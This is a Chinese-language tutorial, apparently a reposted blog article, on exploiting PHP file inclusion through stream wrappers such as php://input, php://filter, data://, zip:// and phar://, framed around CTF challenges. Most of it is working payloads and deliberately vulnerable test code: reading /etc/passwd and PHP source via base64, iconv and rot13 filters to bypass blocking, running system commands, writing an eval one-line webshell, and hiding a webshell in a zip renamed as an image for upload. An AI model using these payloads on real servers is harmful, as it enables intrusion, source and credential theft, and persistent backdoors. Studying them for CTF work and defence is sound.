base64 转文件_PHP伪协议与文件包含
PHP偽協議與文件包含
PHP偽協議與文件包含
php:// 協議
php://input
php://filter
data:// 協議
file:// 協議
zip://、bzip2://、zlib://協議
zip://協議
bzip2://協議
zlib://協議
phar://偽協議
文件包含漏洞(File Inclusion)
文件包含漏洞:即file inclusion,意思是文件包含,是指當服務器開啟allow_url_include選項時,就可以通過PHP的某些文件包含函數利用URL去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。
文件包含漏洞分為本地文件包含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是因為開啟了PHP配置中的allow_url_fopen選項,選項開啟之后,服務器允許包含一個遠程文件,服務器通過PHP特性函數去包含任意文件時,由于要包含的這個文件來源過濾不嚴,從而可以去包含一個惡意文件,而我們可以構造這個惡意文件來達到自己的目的。
文件包含漏洞特征:
- ?page=a.php
- ?home=b.html
- ?file=content
檢測方法:
- ?file=../../../../etc/passwd
- ?page=file:///etc/passwd
- ?home=main.cgi?page=http://www.a.com/1.phphttp://1.1.1.1/../../../../dir/file.txt
關于文件包含漏洞的具體詳情,我們不再贅述,下面我們來總結一下PHP偽協議在文件包含中的利用。
PHP偽協議與文件包含
PHP 帶有很多內置 URL 風格的封裝協議,可用于類似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系統函數。
首先歸納下常見的文件包含函數:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file,計劃對文件包含漏洞與php封裝協議的利用方法進行總結,本篇先總結下一些封裝協議,涉及的相關協議:php://filter、php://input、file://、data://、zip://、compress.bzip2://、compress.zlib://,后續再對每個文件包含函數進一步進行探討。
環境概要:
PHP.ini:
allow_url_fopen:on ?默認開啟 ?該選項用于設置是否允許將URL作為文件處理。該選項為on便是激活了 URL 形式的 fopen 封裝協議,使得可以訪問 URL 對象文件等。
allow_url_include:off ?默認關閉,該選項為on便是允許 包含 URL 對象文件等。
為了能夠盡可能的列舉所有情況本次測試使用的PHP版本為>=5.2 具體為5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00進行截斷。
php:// 協議
利用條件:
- allow_url_fopen:不需要開啟
- allow_url_include:僅php://input php://stdin php://memory php://temp需要開啟
作用:
php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filter和php://input,php://filter用于讀取php文件的源碼,php://input用于執行php代碼。php://filter 讀取源代碼并進行base64編碼輸出,不然會直接當做php代碼執行就看不到源代碼內容了,php://filter在雙off的情況下也可以正常使用。
php://input
php://input 可以訪問請求的原始數據的只讀流,在POST請求中訪問POST的data部分,可以將post請求中的數據作為PHP代碼執行。
注意:在enctype="multipart/form-data" 的時候php://input是無效的。
要求PHP.ini:
allow_url_fopen:?off或on??//?無要求allow_url_include:?on
用法:?file=php://input 數據利用POST直接傳過去。如下測試。
測試代碼:
<?php echo?file_get_contents($_GET['whoami']);?>測試結果:
image-20200815163356474成功輸出了我們POST過去的data數據。
php://input 執行php代碼與寫入木馬
測試代碼:
<?php????$filename??=?$_GET['file'];include($filename);?>
我們構造如下:
http://192.168.1.103/test.php?file=php://input[POST?DATA部分]:
<?php ?phpinfo();??>
如下,成功執行:
image-20200815163848057命令執行:
我們構造如下:
http://192.168.1.103/test.php?file=php://input[POST?DATA部分]:
<?php ?system('ls?/');??>image-20200815213804709
若有寫入權限,可以寫入一句話木馬:
http://192.168.1.103/test.php?file=php://input[POST?DATA部分]:
<?php ?fputs(fopen('shell.php','w'),'<?php ?@eval($_POST[whoami]);?>');?>image-20200815164024699
蟻劍連接成功:
image-20200815164139935php://filter
php://filter是一種元封裝器,是PHP中特有的協議流,設計用于數據流打開時的篩選過濾應用,作用是作為一個“中間流”來處理其他流。
php://filter常用于讀取php文件的源碼,php://input用于執行php代碼。php://filter 讀取源代碼并進行base64編碼輸出,不然會直接當做php代碼執行就看不到源代碼內容了,php://filter在allow_url_fopen和allow_url_include雙off的情況下也可以正常使用。
要求PHP.ini:
allow_url_fopen:?off或on??//?無要求allow_url_include:?off或on??//?無要求
php://filter參數詳解:
該協議的參數會在該協議路徑上進行傳遞,多個參數都可以在一個路徑上傳遞。具體參考如下:
| resource= | 必須項。它指定了你要篩選過濾的數據流。 |
| read= | 可選項。可以設定一個或多個過濾器名稱,以管道符(|)分隔 |
| write= | 可選項??梢栽O定一個或多個過濾器名稱,以管道符(|)分隔 |
| 任何沒有以 read= 或 write= 作前綴的篩選器列表會視情況應用于讀或寫鏈。 |
可用的過濾器列表:
此處列舉主要的過濾器類型,詳細內容請參考:https://www.php.net/manual/zh/filters.php
| string.rot13 | 等同于str_rot13(),rot13變換 |
| string.toupper | 等同于strtoupper(),轉大寫字母 |
| string.tolower | 等同于strtolower(),轉小寫字母 |
| string.strip_tags | 等同于strip_tags(),去除html、PHP語言標簽 |
| convert.base64 | convert.base64-encode & convert.base64-decode分別等同于base64_encode()和base64_decode(),base64編碼解碼 |
| convert.quoted | quoted-printable 字符串與 8 為字符串編碼解碼,有convert.quoted-printable-encode 和 convert.quoted-printable-decode。使用此過濾器的 decode 版本等同于用 quoted_printable_decode()函數處理所有的流數據。沒有和 convert.quoted-printable-encode相對應的函數。 |
| convert.iconv.* | 這個過濾器需要 php 支持 iconv,而 iconv 是默認編譯的。使用convert.iconv.*過濾器等同于用iconv()函數處理所有的流數據。 |
下面我們來實驗用php://filter來讀寫文件。
測試代碼:
<?php????$file1?=?$_GET['file1'];
????$file2?=?$_GET['file2'];
????$txt?=?$_GET['txt'];??//?寫入的內容echo?file_get_contents($file1);????//?或者是include($file1);
????file_put_contents($file2,$txt);?>
讀取文件
test.php?file1=php://filter/resource=/etc/passwdtest.php?file1=php://filter/read=convert.base64-encode/resource=flag.php????//?專用于讀取php文件
測試結果:
image-20200815170005879讀取php文件:
image-20200815170201017base64解碼即可。
在實戰中,若是遇上include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file等文件包含函數,我們可以用php://filter來讀取php源碼。
寫入文件
test.php?file2=php://filter/resource=test1.txt&txt=Thanks?Bunny!或
test.php?file2=php://filter/write=convert.base64-encode/resource=test2.txt&txt=Thanks?Bunny!
分別執行后查看生成的txt文件:
image-20200815171035715如上圖寫入成功。
php://filter 繞過 convert.base64
convert.base64過濾器
convert.base64-encode & convert.base64-decode分別等同于base64_encode()和base64_decode(),base64編碼解碼。最常見的,不再贅述。
如果base64被過濾了,那我們就可以用下面的那幾個convert轉換過濾器。
convert.quoted過濾器
這個過濾器用于 quoted-printable 字符串與 8 為字符串的編碼解碼。
有convert.quoted-printable-encode 和 convert.quoted-printable-decode 這兩個。
使用此過濾器的 decode 版本等同于用 quoted_printable_decode()函數處理所有的流數據。沒有和 convert.quoted-printable-encode相對應的函數。
quoted_printable_decode() 函數對經過 quoted-printable 編碼后的字符串進行解碼,返回 8 位的 ASCII 字符串
<?php$str?=?"I=0Alove=0AShanghai!";
echo?quoted_printable_decode($str);
?>
//?輸出I?love?Shanghai!
網上用于quoted-printable 編碼解碼的網址有:
http://www.mxcz.net/tools/quotedprintable.aspx
http://web.chacuo.net/charsetquotedprintable
測試代碼:
<?php include($_GET['file']);?>我們用flag.php來做實驗:
image-20200815171619018payload:
test.php?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php??image-20200815173356834
convert.iconv.*過濾器
這個過濾器需要 php 支持 iconv,而 iconv 是默認編譯的。*使用convert.iconv.過濾器等同于用iconv()函數處理所有的流數據。
convert.iconv.*的使用有兩種方法
convert.iconv..?或者
convert.iconv./
PHP iconv()函數
(PHP 4 >= 4.0.5, PHP 5, PHP 7)
iconv() — 將字符串按要求的字符編碼來轉換。
說明
iconv?(?string?$in_charset?,?string?$out_charset?,?string?$str?)?:?string將字符串 str 從 in_charset 轉換編碼到 out_charset,返回轉換后的字符串。
藍帽杯有一道題,文件包含用php://filter讀源碼,但是base64和read=都被過濾了,所以我們可以使用convert.iconv。我們將convert.base64-encode改為convert.iconv.utf-8.utf-7,即filename=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php。
測試代碼:
<?php include($_GET['file']);?>payload:
test.php?file=php://filter/read=convert.iconv.utf-8.utf-7/resource=flag.php//?也就是將utf-8編碼轉換為utf-7編碼
image-20200815174729969
如上圖,成功得到flag,其稍作修改即可。
當然,我們也可以用字符串過濾器,如下。
string.rot13(移位編碼)
(自 PHP 4.3.0 起)使用此過濾器等同于用 str_rot13()函數處理所有的流數據。
string.rot13對字符串執行 ROT13 轉換,ROT13 編碼簡單地使用字母表中后面第 13 個字母替換當前字母,同時忽略非字母表中的字符。編碼和解碼都使用相同的函數,即傳遞一個編碼過的字符串作為參數,將得到原始字符串。
測試代碼:
<?php include($_GET['file']);?>payload:
test.php?file=php://filter/read=string.rot13/resource=flag.php//?也就是將utf-8編碼轉換為utf-7編碼
image-20200815180506105
在網上將其rot13解碼即可,解碼地址:https://www.jisuan.mobi/puzzm6z1B1HH6yXW.html
data:// 協議
數據流封裝器,和php://相似都是利用了流的概念,將原本的要include的文件流重定向到了用戶可控制的輸入流中,簡單來說就是執行文件的包含方法包含了你的輸入流,通過你輸入payload來實現目的。
經過測試官方文檔上存在一處問題,經過測試PHP版本5.2,5.3,5.5,7.0;data:// 協議是受限于allow_url_fopen的,官方文檔上給出的是NO,所以要使用data://協議需要滿足雙on條件
要求PHP.ini:
allow_url_fopen:?onallow_url_include:?on
用法:
和php偽協議的php://input類似,碰到file_get_contents()可以用;
?<?php ?//?打印?“輸出"?echo?file_get_contents($_GET[file]);??>payload:
test.php?file=data://text/plain;base64,VGhhbmtzJTIwQnVubnklMjE=image-20200815202309580
如果遇上include文件包含,還可以造成任意代碼執行:
測試代碼:
<?php include($_GET['file']);?>payload:
test.php?file=data://text/plain,<?php ?phpinfo();?>或
test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
image-20200815202637601image-20200815203509516
也可以像一下這種形式:
test.php?file=data:text/plain,<?php ?phpinfo()?>test.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
test.php?file=data:,<?php ?phpinfo()?>
都是可以的:
image-20200815203746759有權限的話還可以寫shell。
data這里還有這樣一個好玩的,這是2020藍帽杯的一個題,有以下一個限制:
image-20200807184117327讓我們用GET傳一個參數,指向一個文件,如果開文件的內容中不存在和php,那么就包含該文件。我們的利用思路當然是讓他包含一個php文件。
我們用以下方法繞過,即:
file_get_contents('data:,xx/res');???//?將返回字符串'xx/res'?include('data:,xx/res');????????????//?將包含res文件的內容
證明測試如下:
在Web根目錄下有一個test.php,還有一個名為data:,xx的目錄,里面有一個res文件,res文件的內容為 phpinfo();?>:
image-20200808164538288訪問test.php代碼如下:
image-20200808164559941此時,如果我們輸入/test.php?page=data:,xx/res:
image-20200808164713218如上圖將返回字符串'xx/res'。接下來我們把include前的注釋去掉,再測試一遍:
image-20200808165107017效果可見一斑。利用以上原理,就可以繞過這個限制了。
也就是說,如果data是這種形式:data:,xx/res,且不存在data:,xx目錄的話,include和file_get_contents都返回字符串xx/res;如果存在data:,xx目錄的話,那么include將包含data:,xx目錄里的res文件,造成php代碼執行,而file_get_contents則任然只會返回字符串xx/res。
file:// 協議
通過file協議可以訪問本地文件系統,讀取到文件的內容,
測試代碼:
<?php include($_GET['file']);?>payload:
test.php?file=file:///etc/passwdimage-20200815205507910
但是不能用來讀取php文件的源碼,且單純的file://偽協議不配合文件包含漏洞是不能執行文件里的php代碼的。
zip://、bzip2://、zlib://協議
zip://, bzip2://, zlib:// 均屬于壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定后綴名,可修改為任意后綴:jpg png gif xxx 等等。
要求php.ini:
allow_url_fopen:?off/on??????//?無要求allow_url_include:?off/on????//?無要求
zip://, bzip2://, zlib://協議在雙off的情況下也可以正常使用。
zip://協議
條件:PHP > =5.3.0,注意在windows下測試要5.3.0
使用方法:
zip://archive.zip#dir/file.txt
zip://[壓縮文件絕對路徑]#[壓縮文件內的子文件名]
# 在瀏覽器中要編碼為%23,否則瀏覽器默認不會傳輸特殊字符。
測試代碼:
<?php include($_GET['file']);?>即先在本地將要執行的PHP代碼寫好文件名為shell.php,再將shell.txt進行zip壓縮,壓縮文件名為whoami.zip:
image-20200815210650620如果可以上傳zip文件便直接上傳,若不能便將whoami.zip重命名為whoami.jpg后再上傳,其他幾種壓縮格式也可以這樣操作。然后,就用zip://協議訪問我們上傳的whoami.zip(或whoami.jpg)里面的shell.php(適用于有文件上傳和文件包含的地方):
payload:
test.php?file=zip:///var/www/html/whoami.zip%23shell.txtimage-20200815212307187
bzip2://協議
使用方法:
compress.bzip2://file.bz2
壓縮 phpinfo.txt 為 phpinfo.bz2 并上傳(同樣支持任意后綴名)
test.php?file=compress.bzip2://目錄/phpinfo.bz2即可執行phpinfo。
zlib://協議
使用方法:
compress.zlib://file.gz
壓縮 phpinfo.txt 為 phpinfo.gz 并上傳(同樣支持任意后綴名)
test.php?file=compress.zlib://目錄/phpinfo.bz2即可執行phpinfo。
phar://偽協議
phar://協議與zip://類似,同樣可以訪問zip格式壓縮包內容,不管后綴是什么,都會當做壓縮包來解壓。
用法:?file=phar://壓縮包/內部文件 注意:PHP > =5.3.0 壓縮包需要是zip協議壓縮,rar不行,將木馬文件壓縮后,改為其他任意格式的文件都可以正常使用。
測試代碼:
<?php include($_GET['file']);?>步驟:寫一個木馬文件shell.txt,然后用zip協議壓縮為whoami.zip,然后將后綴改為png等其他格式,上傳,然后再用phar偽協議來訪問: (和zip://用法類似的)
test.php?file=phar:///var/www/html/whoami.png/shell.txtimage-20200815213458198
總結
以上是生活随笔為你收集整理的base64 转文件_PHP伪协议与文件包含的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: AtomicIntegerArray和A
- 下一篇: 动态规划算法php,php算法学习之动态